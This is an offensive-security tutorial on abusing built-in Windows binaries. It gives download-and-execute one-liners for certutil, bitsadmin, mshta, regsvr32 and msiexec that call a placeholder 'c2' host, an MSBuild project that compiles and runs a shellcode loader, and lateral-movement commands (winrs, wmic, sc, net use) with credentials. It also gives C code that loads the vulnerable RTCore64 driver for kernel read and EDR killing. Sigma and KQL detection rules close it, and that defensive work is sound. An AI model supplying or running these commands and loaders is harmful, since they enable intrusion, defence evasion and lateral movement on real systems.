Living off the Land: LOLBins

Abusing Windows-native binaries for every phase of an attack: downloading and executing payloads (certutil, bitsadmin, mshta, msiexec), proxying execution through signed Microsoft binaries (regsvr32, rundll32, InstallUtil, odbcconf), lateral movement (wmic, winrs), LOLDrivers for kernel-level operations, and the detection philosophy that makes LOLBin abuse the hardest category to block without breaking legitimate functionality.

LOLBin Categories

Download and Execute LOLBins

# certutil.exe — Certificate utility with hidden download capability
# Works on every Windows version; built-in; signed by Microsoft

# Download file (logs to C:\Windows\System32\CertSvc\CertEnroll.log)
certutil.exe -urlcache -split -f http://c2/payload.exe C:\Temp\p.exe

# Base64 encode/decode (for bypassing content inspection)
certutil.exe -encode payload.exe payload.b64   # encode to base64
certutil.exe -decode payload.b64 payload.exe   # decode back

# bitsadmin — Background Intelligent Transfer Service
bitsadmin /transfer MyJob /download /priority HIGH http://c2/p.exe C:\Temp\p.exe
# Runs asynchronously; transferred file matches BITS service download pattern

# mshta.exe — Microsoft HTML Application Host
# Executes HTA (HTML Application) files — full IE/Trident engine + WScript
# Can run VBScript/JScript inline via URL or local file
mshta.exe http://c2/payload.hta
mshta.exe javascript:eval("var sh=new ActiveXObject('WScript.Shell');sh.Run('cmd /c calc')")
mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc BASE64"",0:close")

# regsvr32.exe — Register COM server DLL (squiblydoo)
# Can download and execute scriptlets (.sct) from remote URL
# Bypasses AppLocker (regsvr32 is trusted) and executes JScript/VBScript
regsvr32.exe /u /n /s /i:http://c2/payload.sct scrobj.dll
# payload.sct = XML scriptlet file containing JScript that drops/runs payload

# msiexec — Windows Installer
# Can download and execute an MSI package from remote URL
msiexec.exe /q /i http://c2/payload.msi
msiexec.exe /y "C:\Temp\malicious.dll"   # calls DllRegisterServer on the DLL

# InstallUtil.exe — .NET assembly installer
# Runs any .NET assembly that implements Installer class
# -u flag calls Uninstall() — used to avoid noisy Install() call
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /u evil.dll

MSBuild Compile-and-Execute

<!-- MSBuild task inline C# compilation — no external compiler invocation
     File: payload.csproj — runs with msbuild payload.csproj
     MSBuild is a Microsoft-signed binary; compiles and executes arbitrary C# -->

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Build">
    <MSBuildTest />
  </Target>
  <UsingTask TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using System.Runtime.InteropServices;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class MSBuildTest : Task, ITask {
              [DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
              [DllImport("kernel32")] static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr e, IntPtr p, uint f, IntPtr id);
              [DllImport("kernel32")] static extern uint WaitForSingleObject(IntPtr h, uint ms);
              public override bool Execute() {
                  byte[] sc = new byte[] { /* shellcode bytes here */ };
                  IntPtr buf = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
                  Marshal.Copy(sc, 0, buf, sc.Length);
                  IntPtr t = CreateThread(IntPtr.Zero, 0, buf, IntPtr.Zero, 0, IntPtr.Zero);
                  WaitForSingleObject(t, 0xFFFFFFFF);
                  return true;
              }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
<!-- Execute: msbuild.exe payload.csproj
     MSBuild is signed by Microsoft, common in dev environments, trusted by AppLocker -->

Lateral Movement via LOLBins

# winrs — Windows Remote Shell (built-in, uses WinRM)
# More stealthy than psexec: no service creation, no ADMIN$ share access
winrs -r:TARGET -u:DOMAIN\admin -p:Password "cmd /c whoami"
winrs -r:TARGET "powershell -enc BASE64_PAYLOAD"

# wmic — WMI command-line utility (lateral via Win32_Process)
# Covered in ch119 — wmic.exe wraps the DCOM/WMI API
wmic /node:TARGET /user:DOMAIN\admin /password:Password process call create "cmd /c payload.exe"

# at.exe — legacy task scheduler (Windows 2003 era — still present Win10)
# Creates scheduled task without schtasks.exe — different Event ID pattern
at \\TARGET 14:00 "cmd /c payload.exe"

# sc.exe — Service Control Manager
# Creates and starts a service remotely without PsExec
sc.exe \\TARGET create eventsvc binPath= "cmd /c payload.exe" start= demand
sc.exe \\TARGET start eventsvc
sc.exe \\TARGET delete eventsvc

# net use + copy: drop payload via SMB without PsExec
net use \\TARGET\C$ /user:DOMAIN\admin Password
copy payload.exe \\TARGET\C$\Windows\Temp\p.exe
net use \\TARGET\C$ /delete

LOLDrivers — Kernel via Vulnerable Signed Drivers

// LOLDrivers: bring a legitimately signed but vulnerable kernel driver.
// Because it's signed, it passes Secure Boot and Driver Signature Enforcement.
// Once loaded, exploit the driver's privileged IOCTL interface to:
//   - Read/write arbitrary kernel memory
//   - Kill EDR processes (by removing them from process list)
//   - Modify EPROCESS.Protection to remove PPL
//   - Map shellcode into kernel address space

// RTCore64.sys (MSI Afterburner) — IOCTL 0x80002048 allows arbitrary kernel R/W
// Used by: BurntCigar (RansomHub), Terminator EDR killer tool

// Load a signed driver (requires admin):
SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
SC_HANDLE hSvc = CreateServiceW(hSCM, L"RTCore64", L"RTCore64",
    SERVICE_START | DELETE | SERVICE_STOP_PENDING,
    SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
    L"C:\\Temp\\RTCore64.sys", NULL, NULL, NULL, NULL, NULL);
StartServiceW(hSvc, 0, NULL);

// RTCore64 arbitrary read IOCTL:
typedef struct {
    BYTE  pad1[8];
    DWORD64 Address;
    BYTE  pad2[4];
    DWORD ReadValue;
    BYTE  pad3[4];
} RTCoreReadRequest;

DWORD KernelRead(HANDLE hDevice, DWORD64 address) {
    RTCoreReadRequest req = { .Address = address, .ReadValue = 0 };
    DWORD bytesReturned;
    DeviceIoControl(hDevice, 0x80002048, &req, sizeof(req),
                    &req, sizeof(req), &bytesReturned, NULL);
    return req.ReadValue;
}

// Use to: read PsLoadedModuleList → find EDR driver base → corrupt its dispatch table

# Notable LOLDrivers (loldrivers.io database):
# RTCore64.sys    (MSI Afterburner) — arbitrary kernel RW, EDR killer
# gdrv.sys        (GIGABYTE)        — arbitrary kernel RW
# DBUtil_2_3.sys  (Dell)            — privilege escalation to SYSTEM
# IQVW64E.SYS     (Intel NIC diag) — arbitrary kernel RW
# procexp152.sys  (Sysinternals)    — process termination (legitimate use case abused)

Detection Engineering

-- Sigma: certutil downloading from internet
title: CertUtil Downloading Remote File (LOLBin Abuse)
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains:
      - '-urlcache'
      - '-verifyctl'
      - 'http'
  condition: selection
level: high

-- Sigma: regsvr32 Squiblydoo with remote scriptlet
title: RegSvr32 Remote COM Scriptlet Execution
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains|all:
      - '/i:'
      - 'scrobj'
    CommandLine|contains:
      - 'http'
      - 'ftp'
  condition: selection
level: critical

-- Sigma: mshta inline script execution
title: MSHTA Inline Script Execution
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'javascript:'
      - 'vbscript:'
      - 'http'
  condition: selection
level: high

-- Sigma: LOLDriver loaded — known vulnerable driver hash
title: Known Vulnerable Driver Loaded (LOLDriver)
logsource:
  product: windows
  category: driver_load   # Sysmon Event 6
detection:
  selection:
    Hashes|contains:
      - '01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0'  # RTCore64.sys
      - '31F4CFDB45F7E6F62A68CD5D6471E0A55AB60BB2'  # gdrv.sys
  condition: selection
level: critical

-- MDE KQL: unsigned / vulnerable driver via LOLDrivers IOC list
DeviceEvents
| where ActionType == "DriverLoad"
| where AdditionalFields has_any (
    "RTCore64", "gdrv", "DBUtil", "IQVW64E"
  )
| project Timestamp, DeviceName, AdditionalFields

Q&A